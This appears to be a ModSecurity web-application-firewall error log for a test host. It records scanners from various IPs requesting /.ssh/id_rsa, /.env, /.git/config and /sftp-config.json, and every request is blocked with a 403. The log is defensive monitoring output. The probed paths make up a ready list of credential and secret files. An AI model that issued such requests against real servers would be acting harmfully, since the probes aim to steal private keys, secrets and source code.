[Sun Mar 16 22:10:59.803768 2025] [:error] [pid 1828150] [client 109.202.99.36:5997] [client 109.202.99.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.ssh/id_rsa"] [unique_id "Z9c-Y4rmw6rNDeZD4UQqXwAAAA8"]
[Sun Mar 16 22:10:59.803903 2025] [:error] [pid 1828150] [client 109.202.99.36:5997] [client 109.202.99.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.ssh/id_rsa"] [unique_id "Z9c-Y4rmw6rNDeZD4UQqXwAAAA8"]
[Sun Mar 16 22:11:00.183406 2025] [:error] [pid 1828160] [client 109.202.99.36:13413] [client 109.202.99.36] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z9c-ZJ_ph0BUgRxaeHOdCwAAABI"]
[Sun Mar 16 22:11:00.183747 2025] [:error] [pid 1828160] [client 109.202.99.36:13413] [client 109.202.99.36] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z9c-ZJ_ph0BUgRxaeHOdCwAAABI"]
[Sun Mar 16 22:11:00.184161 2025] [:error] [pid 1828160] [client 109.202.99.36:13413] [client 109.202.99.36] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Z9c-ZJ_ph0BUgRxaeHOdCwAAABI"]
[Mon Mar 17 14:06:55.367997 2025] [:error] [pid 1841877] [client 45.148.10.172:36044] [client 45.148.10.172] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z9geb_Ylk3w5aBheRYi8-wAAABI"]
[Mon Mar 17 14:06:55.368658 2025] [:error] [pid 1841877] [client 45.148.10.172:36044] [client 45.148.10.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z9geb_Ylk3w5aBheRYi8-wAAABI"]
[Mon Mar 17 14:06:55.369103 2025] [:error] [pid 1841877] [client 45.148.10.172:36044] [client 45.148.10.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z9geb_Ylk3w5aBheRYi8-wAAABI"]
[Tue Mar 18 21:38:15.620449 2025] [:error] [pid 1854494] [client 45.148.10.98:42310] [client 45.148.10.98] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z9nZt7-OCeCKtRt0UWi3fwAAAAU"]
[Tue Mar 18 21:38:15.622741 2025] [:error] [pid 1854494] [client 45.148.10.98:42310] [client 45.148.10.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z9nZt7-OCeCKtRt0UWi3fwAAAAU"]
[Tue Mar 18 21:38:15.623210 2025] [:error] [pid 1854494] [client 45.148.10.98:42310] [client 45.148.10.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z9nZt7-OCeCKtRt0UWi3fwAAAAU"]
[Wed Mar 19 04:03:54.142119 2025] [:error] [pid 1876129] [client 45.148.10.98:33122] [client 45.148.10.98] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z9o0Ghwhf2IoqD3RiRimDgAAAAE"]
[Wed Mar 19 04:03:54.142766 2025] [:error] [pid 1876129] [client 45.148.10.98:33122] [client 45.148.10.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z9o0Ghwhf2IoqD3RiRimDgAAAAE"]
[Wed Mar 19 04:03:54.143352 2025] [:error] [pid 1876129] [client 45.148.10.98:33122] [client 45.148.10.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z9o0Ghwhf2IoqD3RiRimDgAAAAE"]
[Sun Mar 23 04:28:20.817522 2025] [:error] [pid 1963567] [client 18.171.209.55:58237] [client 18.171.209.55] ModSecurity: Warning. Matched phrase "/sftp-config.json" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /sftp-config.json found within REQUEST_FILENAME: /sftp-config.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sftp-config.json"] [unique_id "Z99_1C0n6pjPZaJEtzW-oAAAAAM"]
[Sun Mar 23 04:28:20.818953 2025] [:error] [pid 1963567] [client 18.171.209.55:58237] [client 18.171.209.55] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sftp-config.json"] [unique_id "Z99_1C0n6pjPZaJEtzW-oAAAAAM"]
[Sun Mar 23 04:28:20.819171 2025] [:error] [pid 1963567] [client 18.171.209.55:58237] [client 18.171.209.55] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sftp-config.json"] [unique_id "Z99_1C0n6pjPZaJEtzW-oAAAAAM"]
[Mon Mar 24 20:22:37.174423 2025] [:error] [pid 1985775] [client 103.102.230.8:50722] [client 103.102.230.8] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z-Gw_TA_EA6Tte76f0o11QAAAAk"]
[Mon Mar 24 20:22:37.174677 2025] [:error] [pid 1985775] [client 103.102.230.8:50722] [client 103.102.230.8] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z-Gw_TA_EA6Tte76f0o11QAAAAk"]
[Mon Mar 24 20:22:37.174832 2025] [:error] [pid 1985775] [client 103.102.230.8:50722] [client 103.102.230.8] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z-Gw_TA_EA6Tte76f0o11QAAAAk"]
[Sat Mar 29 16:18:19.278078 2025] [:error] [pid 2106814] [client 34.221.111.118:48488] [client 34.221.111.118] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z-gPO2PXkVP7GW92tuoF_AAAAAU"]
[Sat Mar 29 16:18:19.281830 2025] [:error] [pid 2106814] [client 34.221.111.118:48488] [client 34.221.111.118] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z-gPO2PXkVP7GW92tuoF_AAAAAU"]
[Sat Mar 29 16:18:19.282020 2025] [:error] [pid 2106814] [client 34.221.111.118:48488] [client 34.221.111.118] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z-gPO2PXkVP7GW92tuoF_AAAAAU"]
[Sat Apr 05 17:47:33.181462 2025] [:error] [pid 2270319] [client 194.163.152.77:46556] [client 194.163.152.77] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z_FQlRpoSLAlXMdqFaNjiQAAAAU"]
[Sat Apr 05 17:47:33.182705 2025] [:error] [pid 2270319] [client 194.163.152.77:46556] [client 194.163.152.77] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z_FQlRpoSLAlXMdqFaNjiQAAAAU"]
[Sat Apr 05 17:47:33.182917 2025] [:error] [pid 2270319] [client 194.163.152.77:46556] [client 194.163.152.77] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z_FQlRpoSLAlXMdqFaNjiQAAAAU"]
[Tue Apr 15 14:38:30.131571 2025] [:error] [pid 2487706] [client 45.148.10.172:44268] [client 45.148.10.172] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z_5TRvtVGX3rzGXB8U632wAAAAA"]
[Tue Apr 15 14:38:30.133387 2025] [:error] [pid 2487706] [client 45.148.10.172:44268] [client 45.148.10.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z_5TRvtVGX3rzGXB8U632wAAAAA"]
[Tue Apr 15 14:38:30.133560 2025] [:error] [pid 2487706] [client 45.148.10.172:44268] [client 45.148.10.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z_5TRvtVGX3rzGXB8U632wAAAAA"]
[Wed Apr 16 03:37:26.861972 2025] [:error] [pid 2509274] [client 93.123.109.7:47090] [client 93.123.109.7] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z_8J1kB-JcqoyO3s8X9rYQAAAAM"]
[Wed Apr 16 03:37:26.862309 2025] [:error] [pid 2509274] [client 93.123.109.7:47090] [client 93.123.109.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z_8J1kB-JcqoyO3s8X9rYQAAAAM"]
[Wed Apr 16 03:37:26.862487 2025] [:error] [pid 2509274] [client 93.123.109.7:47090] [client 93.123.109.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z_8J1kB-JcqoyO3s8X9rYQAAAAM"]
[Wed Apr 16 03:37:29.084989 2025] [:error] [pid 2509320] [client 93.123.109.7:47092] [client 93.123.109.7] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z_8J2fnY3PBDelJ-CTQjAgAAAAU"]
[Wed Apr 16 03:37:29.086070 2025] [:error] [pid 2509320] [client 93.123.109.7:47092] [client 93.123.109.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z_8J2fnY3PBDelJ-CTQjAgAAAAU"]
[Wed Apr 16 03:37:29.086265 2025] [:error] [pid 2509320] [client 93.123.109.7:47092] [client 93.123.109.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z_8J2fnY3PBDelJ-CTQjAgAAAAU"]
[Wed Apr 16 22:46:38.600262 2025] [:error] [pid 2509271] [client 15.236.180.128:55106] [client 15.236.180.128] ModSecurity: Warning. Matched phrase "/sftp-config.json" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /sftp-config.json found within REQUEST_FILENAME: /sftp-config.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sftp-config.json"] [unique_id "aAAXLjXfKzE33GwVx1o_mQAAAAA"]
[Wed Apr 16 22:46:38.600539 2025] [:error] [pid 2509271] [client 15.236.180.128:55106] [client 15.236.180.128] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sftp-config.json"] [unique_id "aAAXLjXfKzE33GwVx1o_mQAAAAA"]
[Wed Apr 16 22:46:38.600722 2025] [:error] [pid 2509271] [client 15.236.180.128:55106] [client 15.236.180.128] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sftp-config.json"] [unique_id "aAAXLjXfKzE33GwVx1o_mQAAAAA"]
[Wed Apr 16 23:32:25.731698 2025] [:error] [pid 2523126] [client 45.130.203.168:50095] [client 45.130.203.168] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aAAh6Qze2pMalYqt8mEwAwAAAAU"]
[Wed Apr 16 23:32:25.731957 2025] [:error] [pid 2523126] [client 45.130.203.168:50095] [client 45.130.203.168] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aAAh6Qze2pMalYqt8mEwAwAAAAU"]
